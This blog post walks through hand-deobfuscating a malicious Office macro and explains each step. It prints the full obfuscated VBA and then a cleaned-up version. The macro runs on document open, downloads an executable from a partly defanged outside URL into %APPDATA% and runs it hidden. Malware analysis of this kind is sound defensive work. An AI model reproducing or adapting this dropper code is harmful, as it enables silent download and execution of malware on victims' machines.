Deobfuscating malware by hand

Somehow, I became a proud new owner of a piece of (somewhat) malicious code tonight.  Once making sure it was properly neutered, and after running it through VirusTotal and being surprised by how few (9/55) engines were detecting it, I decided to take a look.

Sub HCYh58Llju(ByRef iKvmUvcYr3wp, ByVal Q3REKGitD, ByVal kwoeg8c)
 iKvmUvcYr3wp = Split(Q3REKGitD, kwoeg8c)
End Sub

Sub S1HL1_C(ByVal LL3FDJzJgC, ByVal cOdzspoHpj)
 On Error Resume Next
 xDyHfiQQsRQ8 = cOdzspoHpj.responseBody
 LL3FDJzJgC.Write xDyHfiQQsRQ8
End Sub

Sub AutoOpen()
 On Error Resume Next
 Dim HUiu827TYRH
 HUiu827TYRH = StrReverse(StrReverse(StrReverse("m" & "d" & " " & "/")))
 Const KMKM = "km "
 Const CCCC = " c"

 Dim q7bPJ655QjSG
 HCYh58Llju q7bPJ655QjSG, StrReverse("|exe.tsohnvsetadpUdnW%ATADPPA%|exe.605ild/stsop/moc.34oledsmanilad//:ptth|maertS.BDODA|PTTHLMX.tfosorciM|llehS"), "|"

 Dim nPtKNIjU35IQ
 Set nPtKNIjU35IQ = CreateObject("W" & StrReverse("tpircS") & "." & StrReverse("llehS"))
 C4KAAHcn = nPtKNIjU35IQ.ExpandEnvironmentStrings(q7bPJ655QjSG(4))

 jnF1QSEGIA = Split(C4KAAHcn, "")
 R9Z8D2tPkYNy = UBound(jnF1QSEGIA)
 
 nPtKNIjU35IQ.Run "c" & StrReverse(KMKM & CCCC & HUiu827TYRH) & StrReverse("rid") & " """ & Mid(C4KAAHcn, 1, Len(C4KAAHcn) - Len(jnF1QSEGIA(R9Z8D2tPkYNy))) & """", 0, True

 Set v8t0w6fxasM = CreateObject(q7bPJ655QjSG(1))
 v8t0w6fxasM.Open Chr$(71) + Chr$(69) + Chr$(84), q7bPJ655QjSG(3), False
 v8t0w6fxasM.setRequestHeader "Cache-Control", "no-cache, no-store"

 Set n7nUrIZKvU2A = CreateObject(q7bPJ655QjSG(2))
 n7nUrIZKvU2A.Open
 v8t0w6fxasM.send
 n7nUrIZKvU2A.Type = 1
 Application.Run "S1HL1_C", n7nUrIZKvU2A, v8t0w6fxasM
 Application.Run "h2xPVFcahn", n7nUrIZKvU2A, C4KAAHcn
 n7nUrIZKvU2A.Close
 nPtKNIjU35IQ.Run "c" & StrReverse(""" """" trats" & " c" & HUiu827TYRH) & C4KAAHcn & """", 0, False
End Sub

Function h2xPVFcahn(ByVal n7nUrIZKvU2ATMP, ByVal C4KAAHcnTMP)
 n7nUrIZKvU2ATMP.SaveToFile C4KAAHcnTMP, 2
End Function

Sub Workbook_Open()
 On Error Resume Next
 AutoOpen
End Sub

Oh noes .. it’s teh crypted!!!  No, of course not.  Someone just thought they’d be funny and obfuscate this to make it a bit tougher to figure out what they’ve done.  Because, you know, StrReverse(StrReverse(StrReverse(…))) is 3 times better than a single StrReverse!!

So anyway, sarcasm aside (yeah, right), this is nothing more difficult than the cryptoquote in your Sundary newspaper or the (really great!) puzzles at the end of every Gravity Falls episode.

So let’s get out the text editor and start doing some simple search and replace.

First — let’s remove all the silly StrReverse functions.  It’s pretty easy to pick out the most interesting, and reverse it from the CLI:

Please mentally ignore all occurrences of “<DONT_GO_HERE>” — I just injected them because I didn’t trust this blog to not automagically make those URLs clickable.

$ echo "|exe.tsohnvsetadpUdnW%ATADPPA%|exe.605ild/stsop/moc.34oledsmanilad//:ptth|maertS.BDODA|PTTHLMX.tfosorciM|llehS" | rev

Shell|Microsoft.XMLHTTP|ADODB.Stream|http://dalinam<DONT_GO_HERE>sdelo43.<DONT_GO_HERE>com/posts/dli506.exe|%APPDATA%WndUpdatesvnhost.exe|

Of course, this now makes it pretty obvious that the subroutine named “HCYh58Llju” is just taking a string delimited by “|” and splitting it up into an array — so do a quick “s/HCYh58Llju/splitter_func/” on the file, just to make it easier to read.

The rest of the steps are pretty easy to follow — just keep finding easy string concatenation or reversal, and do a search and replace on obfuscated names once you figure out what they do.  Here is the final result of my analysis:

//Sub splitter_func(ByRef splitted, ByVal urlstr, ByVal seperator)
// splitted = Split(urlstr, seperator)
//End Sub
Sub write_xmlhttp_response_to_stream_func(ByVal LL3FDJzJgC, ByVal xmlhttp_objTMP)
 On Error Resume Next
 xml_responsebody_obj = xmlhttp_objTMP.responseBody
 adodb_objTMP.Write xml_responsebody_obj
End Sub
Sub AutoOpen()
 On Error Resume Next
 Dim HUiu827TYRH
 HUiu827TYRH = "/ dm"
 Const KMKM = "km "
 Const CCCC = " c"
Dim splitted_data
// splitter_func splitted_data, "Shell|Microsoft.XMLHTTP|ADODB.Stream|http://dal<DONT_GO_HERE>inamsdelo43.co<DONT_GO_HERE>m/posts/dli506.exe|%APPDATA%WndUpdatesvnhost.exe|", "|"
splitted_data=("Shell","Microsoft.XMLHTTP","ADODB.Stream","http://da<DONT_GO_HERE>linamsd<DONT_GO_HERE>elo43.c<DONT_GO_HERE>om/posts/dli506.exe","%APPDATA%WndUpdatesvnhost.exe")
Dim wscript_shell_obj
 Set wscript_shell_obj = CreateObject("WScript.Shell")
 wndupd_location_str = wscript_shell_obj.ExpandEnvironmentStrings("%APPDATA%WndUpdatesvnhost.exe")
wndupd_location_parts = Split(wndupd_location_str, "")
 highest_index_of_wndupd_loc_parts = UBound(wndupd_location_parts)
#MJS Make a directory in APPDATA
 wscript_shell_obj.Run "cmd /cmkdir "%APPDATA%WndUpdate""", 0, True
Set xmlhttp_obj = CreateObject("Microsoft.XMLHTTP")
 xmlhttp_obj.Open "GET", "http://dal<DONT_GO_HERE>inamsdelo<DONT_GO_HERE>43.c<DONT_GO_HERE>om/posts/dli506.exe", False
 xmlhttp_obj.setRequestHeader "Cache-Control", "no-cache, no-store"
Set adodb_obj = CreateObject("ADODB.Stream")
 adodb_obj.Open
 xmlhttp_obj.send
 adodb_obj.Type = 1
 Application.Run "write_xmlhttp_response_to_stream_func", adodb_obj, xmlhttp_obj
 Application.Run "save_stream_to_file_func", adodb_obj, wndupd_location_str
 adodb_obj.Close
 wscript_shell_obj.Run "cmd /cstart "%APPDATA%WndUpdatesvnhost.exe""", 0, False
End Sub
Function save_stream_to_file_func(ByVal adodb_objTMP, ByVal wndupd_location_strTMP)
 adodb_objTMP.SaveToFile wndupd_location_strTMP, 2
End Function
Sub Workbook_Open()
 On Error Resume Next
 AutoOpen
End Sub

Conclusion:

This was a stupid exercise.  All this script does is create a directory in %APPDATA%, downloads a file from a random site, names is svnhost.exe locally, and then executes that file.  Pretty straightforward stage 1 payload.  The real fun, of course, is in analyzing stage 2.  But I’ll leave that for the pros ….